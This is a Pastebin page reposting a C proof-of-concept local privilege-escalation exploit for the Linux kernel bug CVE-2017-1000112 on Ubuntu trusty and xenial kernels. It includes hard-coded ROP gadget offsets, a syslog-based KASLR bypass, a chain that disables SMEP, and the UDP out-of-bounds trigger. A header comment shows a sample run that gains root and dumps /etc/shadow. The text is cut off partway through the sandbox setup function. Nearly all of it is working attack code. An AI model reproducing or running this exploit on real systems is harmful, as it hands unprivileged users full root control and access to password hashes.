API tools faq
paste
Advertisement
AZZATSSINS_CYBERSERK

CVE 2017-100112

AZZATSSINS_CYBERSERK
Sep 4th, 2017
861
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 23.00 KB | None | 0 0
raw download clone embed print report
  1. // A proof-of-concept local root exploit for CVE-2017-1000112.
  2. // Includes KASLR and SMEP bypasses. No SMAP bypass.
  3. // Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels.
  4. //
  5. // Usage:
  6. // user@ubuntu:~$ uname -a
  7. // Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
  8. // user@ubuntu:~$ whoami
  9. // user
  10. // user@ubuntu:~$ id
  11. // uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
  12. // user@ubuntu:~$ gcc pwn.c -o pwn
  13. // user@ubuntu:~$ ./pwn
  14. // [.] starting
  15. // [.] checking distro and kernel versions
  16. // [.] kernel version '4.8.0-58-generic' detected
  17. // [~] done, versions looks good
  18. // [.] checking SMEP and SMAP
  19. // [~] done, looks good
  20. // [.] setting up namespace sandbox
  21. // [~] done, namespace sandbox set up
  22. // [.] KASLR bypass enabled, getting kernel addr
  23. // [~] done, kernel text:   ffffffffae400000
  24. // [.] commit_creds:        ffffffffae4a5d20
  25. // [.] prepare_kernel_cred: ffffffffae4a6110
  26. // [.] SMEP bypass enabled, mmapping fake stack
  27. // [~] done, fake stack mmapped
  28. // [.] executing payload ffffffffae40008d
  29. // [~] done, should be root now
  30. // [.] checking if we got root
  31. // [+] got r00t ^_^
  32. // root@ubuntu:/home/user# whoami
  33. // root
  34. // root@ubuntu:/home/user# id
  35. // uid=0(root) gid=0(root) groups=0(root)
  36. // root@ubuntu:/home/user# cat /etc/shadow
  37. // root:!:17246:0:99999:7:::
  38. // daemon:*:17212:0:99999:7:::
  39. // bin:*:17212:0:99999:7:::
  40. // sys:*:17212:0:99999:7:::
  41. // ...
  42. //
  43. // Andrey Konovalov <andreyknvl@gmail.com>
  44.  
  45. #define _GNU_SOURCE
  46.  
  47. #include <assert.h>
  48. #include <errno.h>
  49. #include <fcntl.h>
  50. #include <sched.h>
  51. #include <stdarg.h>
  52. #include <stdbool.h>
  53. #include <stdint.h>
  54. #include <stdio.h>
  55. #include <stdlib.h>
  56. #include <string.h>
  57. #include <unistd.h>
  58.  
  59. #include <linux/socket.h>
  60. #include <netinet/ip.h>
  61. #include <sys/klog.h>
  62. #include <sys/mman.h>
  63. #include <sys/utsname.h>
  64.  
  65. #define ENABLE_KASLR_BYPASS     1
  66. #define ENABLE_SMEP_BYPASS      1
  67.  
  68. // Will be overwritten if ENABLE_KASLR_BYPASS is enabled.
  69. unsigned long KERNEL_BASE =     0xffffffff81000000ul;
  70.  
  71. // Will be overwritten by detect_versions().
  72. int kernel = -1;
  73.  
  74. struct kernel_info {
  75.     const char* distro;
  76.     const char* version;
  77.     uint64_t commit_creds;
  78.     uint64_t prepare_kernel_cred;
  79.     uint64_t xchg_eax_esp_ret;
  80.     uint64_t pop_rdi_ret;
  81.     uint64_t mov_dword_ptr_rdi_eax_ret;
  82.     uint64_t mov_rax_cr4_ret;
  83.     uint64_t neg_rax_ret;
  84.     uint64_t pop_rcx_ret;
  85.     uint64_t or_rax_rcx_ret;
  86.     uint64_t xchg_eax_edi_ret;
  87.     uint64_t mov_cr4_rdi_ret;
  88.     uint64_t jmp_rcx;
  89. };
  90.  
  91. struct kernel_info kernels[] = {
  92.     { "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d },
  93.     { "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 },
  94.     { "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
  95.     { "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
  96.     { "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
  97.     { "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 },
  98.     { "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 },
  99.     { "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b },
  100.     { "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
  101.     { "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
  102.     { "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b },
  103.     { "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
  104.     { "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
  105.     { "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
  106.     { "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
  107.     { "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
  108.     { "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
  109.     { "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
  110.     { "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
  111.     { "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
  112.     { "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
  113.     { "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
  114.     { "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
  115.     { "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
  116.     { "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
  117.     { "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
  118.     { "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
  119.     { "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
  120.     { "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
  121.     { "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
  122.     { "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
  123.     { "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
  124.     { "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 },
  125.     { "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
  126.     { "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
  127.     { "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
  128.     { "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
  129.     { "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
  130.     { "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
  131. };
  132.  
  133. // Used to get root privileges.
  134. #define COMMIT_CREDS            (KERNEL_BASE + kernels[kernel].commit_creds)
  135. #define PREPARE_KERNEL_CRED     (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
  136.  
  137. // Used when ENABLE_SMEP_BYPASS is used.
  138. // - xchg eax, esp ; ret
  139. // - pop rdi ; ret
  140. // - mov dword ptr [rdi], eax ; ret
  141. // - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret
  142. // - neg rax ; ret
  143. // - pop rcx ; ret
  144. // - or rax, rcx ; ret
  145. // - xchg eax, edi ; ret
  146. // - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
  147. // - jmp rcx
  148. #define XCHG_EAX_ESP_RET        (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret)
  149. #define POP_RDI_RET         (KERNEL_BASE + kernels[kernel].pop_rdi_ret)
  150. #define MOV_DWORD_PTR_RDI_EAX_RET   (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret)
  151. #define MOV_RAX_CR4_RET         (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret)
  152. #define NEG_RAX_RET         (KERNEL_BASE + kernels[kernel].neg_rax_ret)
  153. #define POP_RCX_RET         (KERNEL_BASE + kernels[kernel].pop_rcx_ret)
  154. #define OR_RAX_RCX_RET          (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret)
  155. #define XCHG_EAX_EDI_RET        (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret)
  156. #define MOV_CR4_RDI_RET         (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret)
  157. #define JMP_RCX             (KERNEL_BASE + kernels[kernel].jmp_rcx)
  158.  
  159. // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
  160.  
  161. typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
  162. typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
  163.  
  164. void get_root(void) {
  165.     ((_commit_creds)(COMMIT_CREDS))(
  166.         ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
  167. }
  168.  
  169. // * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * *
  170.  
  171. uint64_t saved_esp;
  172.  
  173. // Unfortunately GCC does not support `__atribute__((naked))` on x86, which
  174. // can be used to omit a function's prologue, so I had to use this weird
  175. // wrapper hack as a workaround. Note: Clang does support it, which means it
  176. // has better support of GCC attributes than GCC itself. Funny.
  177. void wrapper() {
  178.     asm volatile ("                 \n\
  179.     payload:                    \n\
  180.         movq %%rbp, %%rax           \n\
  181.         movq $0xffffffff00000000, %%rdx     \n\
  182.         andq %%rdx, %%rax           \n\
  183.         movq %0, %%rdx              \n\
  184.         addq %%rdx, %%rax           \n\
  185.         movq %%rax, %%rsp           \n\
  186.         call get_root               \n\
  187.         ret                 \n\
  188.     " : : "m"(saved_esp) : );
  189. }
  190.  
  191. void payload();
  192.  
  193. #define CHAIN_SAVE_ESP              \
  194.     *stack++ = POP_RDI_RET;         \
  195.     *stack++ = (uint64_t)&saved_esp;    \
  196.     *stack++ = MOV_DWORD_PTR_RDI_EAX_RET;
  197.  
  198. #define SMEP_MASK 0x100000
  199.  
  200. #define CHAIN_DISABLE_SMEP          \
  201.     *stack++ = MOV_RAX_CR4_RET;     \
  202.     *stack++ = NEG_RAX_RET;         \
  203.     *stack++ = POP_RCX_RET;         \
  204.     *stack++ = SMEP_MASK;           \
  205.     *stack++ = OR_RAX_RCX_RET;      \
  206.     *stack++ = NEG_RAX_RET;         \
  207.     *stack++ = XCHG_EAX_EDI_RET;        \
  208.     *stack++ = MOV_CR4_RDI_RET;
  209.  
  210. #define CHAIN_JMP_PAYLOAD                     \
  211.     *stack++ = POP_RCX_RET;               \
  212.     *stack++ = (uint64_t)&payload;        \
  213.     *stack++ = JMP_RCX;
  214.  
  215. void mmap_stack() {
  216.     uint64_t stack_aligned, stack_addr;
  217.     int page_size, stack_size, stack_offset;
  218.     uint64_t* stack;
  219.  
  220.     page_size = getpagesize();
  221.  
  222.     stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1);
  223.     stack_addr = stack_aligned - page_size * 4;
  224.     stack_size = page_size * 8;
  225.     stack_offset = XCHG_EAX_ESP_RET % page_size;
  226.  
  227.     stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE,
  228.             MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
  229.     if (stack == MAP_FAILED || stack != (void*)stack_addr) {
  230.         perror("[-] mmap()");
  231.         exit(EXIT_FAILURE);
  232.     }
  233.  
  234.     stack = (uint64_t*)((char*)stack_aligned + stack_offset);
  235.  
  236.     CHAIN_SAVE_ESP;
  237.     CHAIN_DISABLE_SMEP;
  238.     CHAIN_JMP_PAYLOAD;
  239. }
  240.  
  241. // * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
  242.  
  243. #define SYSLOG_ACTION_READ_ALL 3
  244. #define SYSLOG_ACTION_SIZE_BUFFER 10
  245.  
  246. void mmap_syslog(char** buffer, int* size) {
  247.     *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
  248.     if (*size == -1) {
  249.         perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)");
  250.         exit(EXIT_FAILURE);
  251.     }
  252.  
  253.     *size = (*size / getpagesize() + 1) * getpagesize();
  254.     *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
  255.                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  256.  
  257.     *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
  258.     if (*size == -1) {
  259.         perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)");
  260.         exit(EXIT_FAILURE);
  261.     }
  262. }
  263.  
  264. unsigned long get_kernel_addr_trusty(char* buffer, int size) {
  265.     const char* needle1 = "Freeing unused";
  266.     char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
  267.     if (substr == NULL) {
  268.         fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1);
  269.         exit(EXIT_FAILURE);
  270.     }
  271.  
  272.     int start = 0;
  273.     int end = 0;
  274.     for (end = start; substr[end] != '-'; end++);
  275.  
  276.     const char* needle2 = "ffffff";
  277.     substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
  278.     if (substr == NULL) {
  279.         fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);
  280.         exit(EXIT_FAILURE);
  281.     }
  282.  
  283.     char* endptr = &substr[16];
  284.     unsigned long r = strtoul(&substr[0], &endptr, 16);
  285.  
  286.     r &= 0xffffffffff000000ul;
  287.  
  288.     return r;
  289. }
  290.  
  291. unsigned long get_kernel_addr_xenial(char* buffer, int size) {
  292.     const char* needle1 = "Freeing unused";
  293.     char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
  294.     if (substr == NULL) {
  295.         fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1);
  296.         exit(EXIT_FAILURE);
  297.     }
  298.  
  299.     int start = 0;
  300.     int end = 0;
  301.     for (start = 0; substr[start] != '-'; start++);
  302.     for (end = start; substr[end] != '\n'; end++);
  303.  
  304.     const char* needle2 = "ffffff";
  305.     substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
  306.     if (substr == NULL) {
  307.         fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);
  308.         exit(EXIT_FAILURE);
  309.     }
  310.  
  311.     char* endptr = &substr[16];
  312.     unsigned long r = strtoul(&substr[0], &endptr, 16);
  313.  
  314.     r &= 0xfffffffffff00000ul;
  315.     r -= 0x1000000ul;
  316.  
  317.     return r;
  318. }
  319.  
  320. unsigned long get_kernel_addr() {
  321.     char* syslog;
  322.     int size;
  323.     mmap_syslog(&syslog, &size);
  324.  
  325.     if (strcmp("trusty", kernels[kernel].distro) == 0 &&
  326.         strncmp("4.4.0", kernels[kernel].version, 5) == 0)
  327.         return get_kernel_addr_trusty(syslog, size);
  328.     if (strcmp("xenial", kernels[kernel].distro) == 0 &&
  329.         strncmp("4.8.0", kernels[kernel].version, 5) == 0)
  330.         return get_kernel_addr_xenial(syslog, size);
  331.  
  332.     printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*");
  333.     exit(EXIT_FAILURE);
  334. }
  335.  
  336. // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
  337.  
  338. struct ubuf_info {
  339.     uint64_t callback;  // void (*callback)(struct ubuf_info *, bool)
  340.     uint64_t ctx;       // void *
  341.     uint64_t desc;      // unsigned long
  342. };
  343.  
  344. struct skb_shared_info {
  345.     uint8_t nr_frags;   // unsigned char
  346.     uint8_t tx_flags;   // __u8
  347.     uint16_t gso_size;  // unsigned short
  348.     uint16_t gso_segs;  // unsigned short
  349.     uint16_t gso_type;  // unsigned short
  350.     uint64_t frag_list; // struct sk_buff *
  351.     uint64_t hwtstamps; // struct skb_shared_hwtstamps
  352.     uint32_t tskey;     // u32
  353.     uint32_t ip6_frag_id;   // __be32
  354.     uint32_t dataref;   // atomic_t
  355.     uint64_t destructor_arg; // void *
  356.     uint8_t frags[16][17];  // skb_frag_t frags[MAX_SKB_FRAGS];
  357. };
  358.  
  359. struct ubuf_info ui;
  360.  
  361. void init_skb_buffer(char* buffer, unsigned long func) {
  362.     struct skb_shared_info* ssi = (struct skb_shared_info*)buffer;
  363.     memset(ssi, 0, sizeof(*ssi));
  364.  
  365.     ssi->tx_flags = 0xff;
  366.     ssi->destructor_arg = (uint64_t)&ui;
  367.     ssi->nr_frags = 0;
  368.     ssi->frag_list = 0;
  369.  
  370.     ui.callback = func;
  371. }
  372.  
  373. // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
  374.  
  375. #define SHINFO_OFFSET 3164
  376.  
  377. void oob_execute(unsigned long payload) {
  378.     char buffer[4096];
  379.     memset(&buffer[0], 0x42, 4096);
  380.     init_skb_buffer(&buffer[SHINFO_OFFSET], payload);
  381.  
  382.     int s = socket(PF_INET, SOCK_DGRAM, 0);
  383.     if (s == -1) {
  384.         perror("[-] socket()");
  385.         exit(EXIT_FAILURE);
  386.     }
  387.  
  388.     struct sockaddr_in addr;
  389.     memset(&addr, 0, sizeof(addr));
  390.     addr.sin_family = AF_INET;
  391.     addr.sin_port = htons(8000);
  392.     addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  393.  
  394.     if (connect(s, (void*)&addr, sizeof(addr))) {
  395.         perror("[-] connect()");
  396.         exit(EXIT_FAILURE);
  397.     }
  398.  
  399.     int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
  400.     int rv = send(s, buffer, size, MSG_MORE);
  401.     if (rv != size) {
  402.         perror("[-] send()");
  403.         exit(EXIT_FAILURE);
  404.     }
  405.  
  406.     int val = 1;
  407.     rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));
  408.     if (rv != 0) {
  409.         perror("[-] setsockopt(SO_NO_CHECK)");
  410.         exit(EXIT_FAILURE);
  411.     }
  412.  
  413.     send(s, buffer, 1, 0);
  414.  
  415.     close(s);
  416. }
  417.  
  418. // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
  419.  
  420. #define CHUNK_SIZE 1024
  421.  
  422. int read_file(const char* file, char* buffer, int max_length) {
  423.     int f = open(file, O_RDONLY);
  424.     if (f == -1)
  425.         return -1;
  426.     int bytes_read = 0;
  427.     while (true) {
  428.         int bytes_to_read = CHUNK_SIZE;
  429.         if (bytes_to_read > max_length - bytes_read)
  430.             bytes_to_read = max_length - bytes_read;
  431.         int rv = read(f, &buffer[bytes_read], bytes_to_read);
  432.         if (rv == -1)
  433.             return -1;
  434.         bytes_read += rv;
  435.         if (rv == 0)
  436.             return bytes_read;
  437.     }
  438. }
  439.  
  440. #define LSB_RELEASE_LENGTH 1024
  441.  
  442. void get_distro_codename(char* output, int max_length) {
  443.     char buffer[LSB_RELEASE_LENGTH];
  444.     int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH);
  445.     if (length == -1) {
  446.         perror("[-] open/read(/etc/lsb-release)");
  447.         exit(EXIT_FAILURE);
  448.     }
  449.     const char *needle = "DISTRIB_CODENAME=";
  450.     int needle_length = strlen(needle);
  451.     char* found = memmem(&buffer[0], length, needle, needle_length);
  452.     if (found == NULL) {
  453.         printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n");
  454.         exit(EXIT_FAILURE);
  455.     }
  456.     int i;
  457.     for (i = 0; found[needle_length + i] != '\n'; i++) {
  458.         assert(i < max_length);
  459.         assert((found - &buffer[0]) + needle_length + i < length);
  460.         output[i] = found[needle_length + i];
  461.     }
  462. }
  463.  
  464. void get_kernel_version(char* output, int max_length) {
  465.     struct utsname u;
  466.     int rv = uname(&u);
  467.     if (rv != 0) {
  468.         perror("[-] uname())");
  469.         exit(EXIT_FAILURE);
  470.     }
  471.     assert(strlen(u.release) <= max_length);
  472.     strcpy(&output[0], u.release);
  473. }
  474.  
  475. #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
  476.  
  477. #define DISTRO_CODENAME_LENGTH 32
  478. #define KERNEL_VERSION_LENGTH 32
  479.  
  480. void detect_versions() {
  481.     char codename[DISTRO_CODENAME_LENGTH];
  482.     char version[KERNEL_VERSION_LENGTH];
  483.  
  484.     get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);
  485.     get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);
  486.  
  487.     int i;
  488.     for (i = 0; i < ARRAY_SIZE(kernels); i++) {
  489.         if (strcmp(&codename[0], kernels[i].distro) == 0 &&
  490.             strcmp(&version[0], kernels[i].version) == 0) {
  491.             printf("[.] kernel version '%s' detected\n", kernels[i].version);
  492.             kernel = i;
  493.             return;
  494.         }
  495.     }
  496.  
  497.     printf("[-] kernel version not recognized\n");
  498.     exit(EXIT_FAILURE);
  499. }
  500.  
  501. #define PROC_CPUINFO_LENGTH 4096
  502.  
  503. // 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
  504. int smap_smep_enabled() {
  505.     char buffer[PROC_CPUINFO_LENGTH];
  506.     int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH);
  507.     if (length == -1) {
  508.         perror("[-] open/read(/proc/cpuinfo)");
  509.         exit(EXIT_FAILURE);
  510.     }
  511.     int rv = 0;
  512.     char* found = memmem(&buffer[0], length, "smep", 4);
  513.     if (found != NULL)
  514.         rv += 1;
  515.     found = memmem(&buffer[0], length, "smap", 4);
  516.     if (found != NULL)
  517.         rv += 2;
  518.     return rv;
  519. }
  520.  
  521. void check_smep_smap() {
  522.     int rv = smap_smep_enabled();
  523.     if (rv >= 2) {
  524.         printf("[-] SMAP detected, no bypass available\n");
  525.         exit(EXIT_FAILURE);
  526.     }
  527. #if !ENABLE_SMEP_BYPASS
  528.     if (rv >= 1) {
  529.         printf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n");
  530.         exit(EXIT_FAILURE);
  531.     }
  532. #endif
  533. }
  534.  
  535. // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
  536.  
  537. static bool write_file(const char* file, const char* what, ...) {
  538.     char buf[1024];
  539.     va_list args;
  540.     va_start(args, what);
  541.     vsnprintf(buf, sizeof(buf), what, args);
  542.     va_end(args);
  543.     buf[sizeof(buf) - 1] = 0;
  544.     int len = strlen(buf);
  545.  
  546.     int fd = open(file, O_WRONLY | O_CLOEXEC);
  547.     if (fd == -1)
  548.         return false;
  549.     if (write(fd, buf, len) != len) {
  550.         close(fd);
  551.         return false;
  552.     }
  553.     close(fd);
  554.     return true;
  555. }
  556.  
  557. void setup_sandbox() {
  558.     int real_uid = getuid();
  559.     int real_gid = getgid();
  560.  
  561.     if (unshare(CLONE_NEWUSER) != 0) {
  562.         printf("[!] unprivileged user namespaces are not available\n");
  563.         perror("[-] unshare(CLONE_NEWUSER)");
  564.         exit(EXIT_FAILURE);
  565.     }
  566.     if (unshare(CLONE_NEWNET) != 0) {
  567.         perror("[-] unshare(CLONE_NEWUSER)");
  568.         exit(EXIT_FAILURE);
  569.     }
  570.  
  571.     if (!write_file("/proc/self/setgroups", "deny")) {
  572.         perror("[-] write_file(/proc/self/set_groups)");
  573.         exit(EXIT_FAILURE);
  574.     }
  575.     if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
  576.         perror("[-] write_file(/proc/self/uid_map)");
  577.         exit(EXIT_FAILURE);
  578.     }
  579.     if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
  580.         perror("[-] write_file(/proc/self/gid_map)");
  581.         exit(EXIT_FAILURE);
  582.     }
  583.  
  584.     cpu_set_t my_set;
  585.     CPU_ZERO(&my_set);
  586.     CPU_SET(0, &my_set);
  587.     if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
  588.         perror("[-] sched_setaffinity()");
  589.         exit(EXIT_FAILURE);
  590.     }
  591.  
